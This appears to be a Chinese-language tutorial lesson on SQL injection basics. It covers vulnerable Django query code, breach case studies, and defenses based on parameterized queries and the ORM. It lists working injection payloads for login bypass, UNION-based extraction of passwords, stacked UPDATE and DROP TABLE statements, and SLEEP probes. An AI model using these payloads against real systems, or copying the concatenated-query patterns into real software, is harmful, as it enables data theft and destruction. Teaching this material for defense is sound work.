02-1. SQL Injection 基礎:什麼是 SQL 注入?
從零開始理解 SQL Injection 的原理、危害與基本攻擊手法
目錄
02-1. SQL Injection 基礎:什麼是 SQL 注入?
⏱️ 閱讀時間: 15 分鐘 🎯 難度: ⭐⭐ (中等) ⚠️ 警告: 本文內容僅供學習與防禦用途,禁止用於非法攻擊
🎯 本篇重點
理解 SQL Injection 的基本原理、危害程度、真實案例,以及最常見的攻擊手法。掌握如何識別漏洞代碼。
🤔 什麼是 SQL Injection?
SQL Injection(SQL 注入) = 在應用程式的輸入中注入惡意 SQL 指令,控制資料庫
一句話解釋: SQL Injection 就像是在點餐單上偷偷加字,讓廚房執行你想要的「額外指令」,而不只是做一份餐。
技術定義
正常情況:
應用程式:「SELECT * FROM users WHERE username = 'john'」
資料庫:回傳 john 的資料
SQL Injection:
應用程式:「SELECT * FROM users WHERE username = 'john' OR '1'='1'」
↑
注入的惡意代碼
資料庫:回傳所有用戶的資料!🍔 生活中的比喻
情境:餐廳點餐
正常點餐:
你:「我要一份牛肉麵」
廚房:(做一份牛肉麵)
結果:你得到一份牛肉麵
SQL Injection 攻擊:
你:「我要一份牛肉麵,還有把所有客人的訂單都給我」
廚房:(沒有檢查)執行了兩個指令
1. 做一份牛肉麵
2. 把所有訂單都給你
結果:你得到所有客人的訂單資訊
關鍵問題:廚房沒有驗證你的「訂單」是否合法
把你說的話當成「指令」執行了技術對應
廚房 = 資料庫
訂單 = SQL 查詢
你說的話 = 用戶輸入
廚房沒檢查 = 應用程式沒驗證輸入
SQL Injection = 在輸入中夾帶額外的 SQL 指令
資料庫執行了你注入的惡意指令💥 SQL Injection 的危害
危害程度:🔥 極高(滿級)
可能後果:
1. 資料洩露
├─ 竊取所有用戶資料
├─ 竊取密碼(即使加密)
├─ 竊取信用卡資訊
└─ 竊取商業機密
2. 資料破壞
├─ 刪除整個資料庫(DROP TABLE)
├─ 修改資料(改價格、改餘額)
└─ 清空資料表
3. 權限提升
├─ 普通用戶變管理員
├─ 繞過登入驗證
└─ 存取管理功能
4. 伺服器控制
├─ 讀取系統檔案(某些資料庫)
├─ 執行作業系統指令
└─ 完全控制伺服器
威脅等級:⭐⭐⭐⭐⭐(最高)真實案例
案例 1:Yahoo(2012)
事件:45 萬用戶資料外洩
攻擊方式:
- Union-based SQL Injection
- 竊取 users 資料表
洩露資料:
├─ 用戶名稱
├─ 密碼(明文!)
├─ Email
└─ 個人資訊
後果:
- 嚴重信譽損失
- 用戶大量流失
- 股價下跌案例 2:Sony Pictures(2011)
事件:7700 萬 PlayStation Network 用戶資料外洩
攻擊方式:
- SQL Injection + 其他漏洞組合
洩露資料:
├─ 個人資訊
├─ 信用卡資料
├─ 購買歷史
└─ 密碼
影響:
- 服務中斷 23 天
- 賠償 1.71 億美元
- 集體訴訟案例 3:7-Eleven(2019)
事件:台灣 7-Eleven ibon 系統
攻擊方式:
- SQL Injection 取得會員資料
後果:
- 客戶個資外洩
- 緊急修補漏洞
- 信譽受損🔍 SQL Injection 如何發生?
根本原因
應用程式直接將用戶輸入拼接到 SQL 查詢中
沒有區分「資料」與「指令」
危險模式:
query = "SELECT * FROM users WHERE username = '" + user_input + "'"
↑
用戶可控制的部分漏洞代碼範例(Django)
# ❌ 超級危險:字串拼接
from django.db import connection
def get_user(username):
cursor = connection.cursor()
# 直接拼接用戶輸入!
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
return cursor.fetchone()
# 正常使用:
get_user("john")
# 執行:SELECT * FROM users WHERE username = 'john'
# 結果:回傳 john 的資料
# 攻擊輸入:
get_user("john' OR '1'='1")
# 執行:SELECT * FROM users WHERE username = 'john' OR '1'='1'
# ↑
# 永遠為真
# 結果:回傳所有用戶資料!# ❌ 危險:使用 % 或 format
def login(username, password):
cursor = connection.cursor()
query = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (username, password)
cursor.execute(query)
user = cursor.fetchone()
return user is not None
# 攻擊輸入:
username = "admin' --"
password = "anything"
# 執行:SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
# ↑
# 註解掉後面的密碼檢查
# 結果:不需要密碼就能登入!# ❌ 危險:Raw SQL 拼接
def search_products(keyword):
cursor = connection.cursor()
query = f"SELECT * FROM products WHERE name LIKE '%{keyword}%'"
cursor.execute(query)
return cursor.fetchall()
# 攻擊輸入:
keyword = "' UNION SELECT username, password, NULL FROM users --"
# 執行:SELECT * FROM products WHERE name LIKE '%' UNION SELECT username, password, NULL FROM users --%'
# 結果:除了商品,還回傳了所有用戶的帳號密碼!為什麼 Django ORM 通常安全?
# ✅ 安全:Django ORM
from django.contrib.auth.models import User
def get_user_safe(username):
# Django ORM 自動使用 Parameterized Query
user = User.objects.filter(username=username).first()
return user
# 即使輸入:
username = "john' OR '1'='1"
# Django 會執行:
# SELECT * FROM users WHERE username = %s
# 參數:['john\' OR \'1\'=\'1\'']
#
# 資料庫會把整個字串當成「資料」,不是「指令」
# 結果:找不到名為 "john' OR '1'='1" 的用戶,安全!🎯 基本攻擊手法
1. 認證繞過(Authentication Bypass)
原理
正常登入查詢:
SELECT * FROM users
WHERE username = 'john' AND password = 'secret123'
如果找到用戶 → 登入成功
如果找不到 → 登入失敗攻擊
# 漏洞代碼
def login(username, password):
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
return cursor.fetchone() is not None
# 攻擊 1:使用 OR
username = "admin' OR '1'='1"
password = "anything"
# 執行:SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
# ↑
# 永遠為真
# 結果:登入成功!
# 攻擊 2:使用註解
username = "admin' --"
password = "anything"
# 執行:SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
# ↑
# 註解掉密碼檢查
# 結果:不需要密碼就能登入!
# 攻擊 3:使用 /**/
username = "admin'/*"
password = "*/"
# 執行:SELECT * FROM users WHERE username = 'admin'/*' AND password = '*/'
# 結果:密碼檢查被註解掉SQL 註解符號
-- 單行註解(後面所有內容都被忽略)
SELECT * FROM users WHERE username = 'admin' -- AND password = 'xxx'
/* 多行註解 */
SELECT * FROM users WHERE username = 'admin'/* AND password = 'xxx'*/
# MySQL 特有註解
SELECT * FROM users WHERE username = 'admin' # AND password = 'xxx'2. 資料洩露(Data Exfiltration)
使用 OR 1=1
# 漏洞代碼
def get_user_profile(user_id):
query = f"SELECT * FROM profiles WHERE user_id = {user_id}"
cursor.execute(query)
return cursor.fetchone()
# 正常使用:
get_user_profile(123)
# 執行:SELECT * FROM profiles WHERE user_id = 123
# 結果:回傳 user_id=123 的資料
# 攻擊:
get_user_profile("123 OR 1=1")
# 執行:SELECT * FROM profiles WHERE user_id = 123 OR 1=1
# ↑
# 永遠為真
# 結果:回傳所有用戶的 profiles!使用 UNION
# 漏洞代碼
def search_products(keyword):
query = f"SELECT id, name, price FROM products WHERE name LIKE '%{keyword}%'"
cursor.execute(query)
return cursor.fetchall()
# 攻擊:
keyword = "' UNION SELECT id, username, password FROM users --"
# 執行:
# SELECT id, name, price FROM products WHERE name LIKE '%'
# UNION
# SELECT id, username, password FROM users --%'
#
# 結果:商品列表後面附加了所有用戶的帳號密碼!3. 資料修改(Data Manipulation)
# 漏洞代碼
def update_profile(user_id, bio):
query = f"UPDATE profiles SET bio = '{bio}' WHERE user_id = {user_id}"
cursor.execute(query)
# 攻擊 1:修改其他人的資料
bio = "My bio'; UPDATE profiles SET bio = 'HACKED' WHERE user_id = 999; --"
update_profile(123, bio)
# 執行:
# UPDATE profiles SET bio = 'My bio';
# UPDATE profiles SET bio = 'HACKED' WHERE user_id = 999;
# --' WHERE user_id = 123
#
# 結果:除了更新自己的 bio,還修改了 user_id=999 的 bio
# 攻擊 2:修改所有人的資料
bio = "My bio'; UPDATE users SET is_admin = 1; --"
update_profile(123, bio)
# 執行:
# UPDATE profiles SET bio = 'My bio';
# UPDATE users SET is_admin = 1;
# --' WHERE user_id = 123
#
# 結果:所有用戶都變成管理員!4. 資料刪除(Data Destruction)
# 漏洞代碼
def delete_comment(comment_id):
query = f"DELETE FROM comments WHERE id = {comment_id}"
cursor.execute(query)
# 攻擊:刪除整個資料表
comment_id = "1; DROP TABLE users; --"
# 執行:
# DELETE FROM comments WHERE id = 1;
# DROP TABLE users;
# --
#
# 結果:users 資料表被刪除!所有用戶資料消失!經典攻擊:Bobby Tables
來自 XKCD 漫畫的著名例子:
學校表單:學生姓名
輸入:Robert'; DROP TABLE students; --
如果學校系統有 SQL Injection 漏洞:
INSERT INTO students (name) VALUES ('Robert'); DROP TABLE students; --')
結果:學生資料表被刪除
所有學生資料消失
這就是為什麼他叫 "Bobby Tables"
(表格被他刪掉了)
圖片:https://xkcd.com/327/🔍 如何識別 SQL Injection 漏洞?
黑箱測試(不看代碼)
測試方法:在輸入中加入 SQL 特殊字元,觀察反應
1. 單引號測試
輸入:'
如果出現資料庫錯誤 → 可能有漏洞
2. OR 1=1 測試
輸入:' OR '1'='1
如果行為異常(如回傳所有資料)→ 有漏洞
3. 時間延遲測試
輸入:' OR SLEEP(5) --
如果頁面延遲 5 秒 → 有漏洞
4. UNION 測試
輸入:' UNION SELECT NULL, NULL --
如果正常顯示 → 可能有漏洞
5. 註解測試
輸入:admin' --
如果可以繞過密碼 → 有漏洞白箱測試(看代碼)
# 尋找這些危險模式:
# ❌ 字串拼接
query = f"SELECT * FROM users WHERE username = '{username}'"
query = "SELECT * FROM users WHERE id = " + str(user_id)
query = "SELECT * FROM users WHERE name = '%s'" % username
# ❌ format 方法
query = "SELECT * FROM users WHERE username = '{}'".format(username)
# ❌ Raw SQL 不當使用
cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")
# ❌ Django raw() 拼接
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")
# ✅ 安全模式
User.objects.filter(username=username) # Django ORM
cursor.execute("SELECT * FROM users WHERE username = %s", [username]) # Parameterized🎓 面試常考題
Q1:什麼是 SQL Injection?如何發生?
A:SQL Injection 是在應用程式輸入中注入惡意 SQL 指令
發生原因:
應用程式直接將用戶輸入拼接到 SQL 查詢中
沒有區分「資料」和「指令」
範例:
漏洞代碼:
query = f"SELECT * FROM users WHERE username = '{username}'"
攻擊輸入:
username = "admin' OR '1'='1"
執行:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'
結果:
OR '1'='1' 永遠為真,回傳所有用戶資料
關鍵:
用戶輸入中的單引號 ' 改變了 SQL 語句的結構
從「資料」變成了「指令」Q2:SQL Injection 有哪些危害?
A:四大危害
1. 資料洩露
- 竊取所有用戶資料
- 竊取密碼、信用卡
- 竊取商業機密
2. 資料破壞
- DROP TABLE(刪除資料表)
- DELETE(刪除資料)
- UPDATE(修改資料)
3. 權限提升
- 繞過登入(admin' --)
- 普通用戶變管理員
4. 伺服器控制
- 讀取系統檔案
- 執行作業系統指令(某些資料庫)
威脅等級:極高(OWASP Top 10 #3)
真實案例:
- Yahoo(2012):45 萬用戶資料外洩
- Sony(2011):7700 萬用戶資料外洩Q3:如何防禦 SQL Injection?
A:使用 Parameterized Query(參數化查詢)
❌ 錯誤(字串拼接):
query = f"SELECT * FROM users WHERE username = '{username}'"
✅ 正確(Parameterized Query):
cursor.execute("SELECT * FROM users WHERE username = %s", [username])
原理:
資料庫會把參數當成「資料」處理,不是「指令」
即使輸入包含 ' OR 1=1,也只是單純的字串
Django 最佳實踐:
1. 優先使用 ORM(自動防禦)
User.objects.filter(username=username)
2. 必須用 Raw SQL 時,使用參數
User.objects.raw("SELECT * FROM users WHERE username = %s", [username])
3. 絕對不要字串拼接
永遠不要:f"SELECT * FROM users WHERE username = '{username}'"
額外防護:
- 輸入驗證(白名單)
- 最小權限(資料庫帳號權限最小化)
- WAF(Web Application Firewall)✅ 重點回顧
SQL Injection 定義:
- 在輸入中注入惡意 SQL 指令
- 控制資料庫,竊取或破壞資料
發生原因:
- 字串拼接用戶輸入到 SQL 查詢
- 沒有區分「資料」與「指令」
危害程度: 🔥 極高
- 資料洩露(竊取所有資料)
- 資料破壞(DROP TABLE)
- 權限提升(繞過登入)
- 伺服器控制(讀取系統檔案)
基本攻擊手法:
- 認證繞過:
admin' OR '1'='1或admin' -- - 資料洩露:
' OR 1=1或' UNION SELECT ... - 資料修改:
'; UPDATE users SET ... - 資料刪除:
'; DROP TABLE users; --
識別方法:
- 黑箱:輸入
'看是否報錯 - 白箱:尋找字串拼接 SQL 的代碼
防禦方法(預告):
- ✅ Parameterized Query
- ✅ Django ORM
- ✅ 輸入驗證
- ✅ 最小權限
記憶口訣: 「注入破壞竊取控」= 注入指令、破壞資料、竊取資料、控制伺服器
下一步: 深入學習 SQL Injection 進階攻擊技巧: → 02-2. Union-based、Blind、Time-based Injection
上一篇: 01-4. 攻擊者思維 vs 防禦者思維 下一篇: 02-2. SQL Injection 攻擊技巧
最後更新:2025-01-16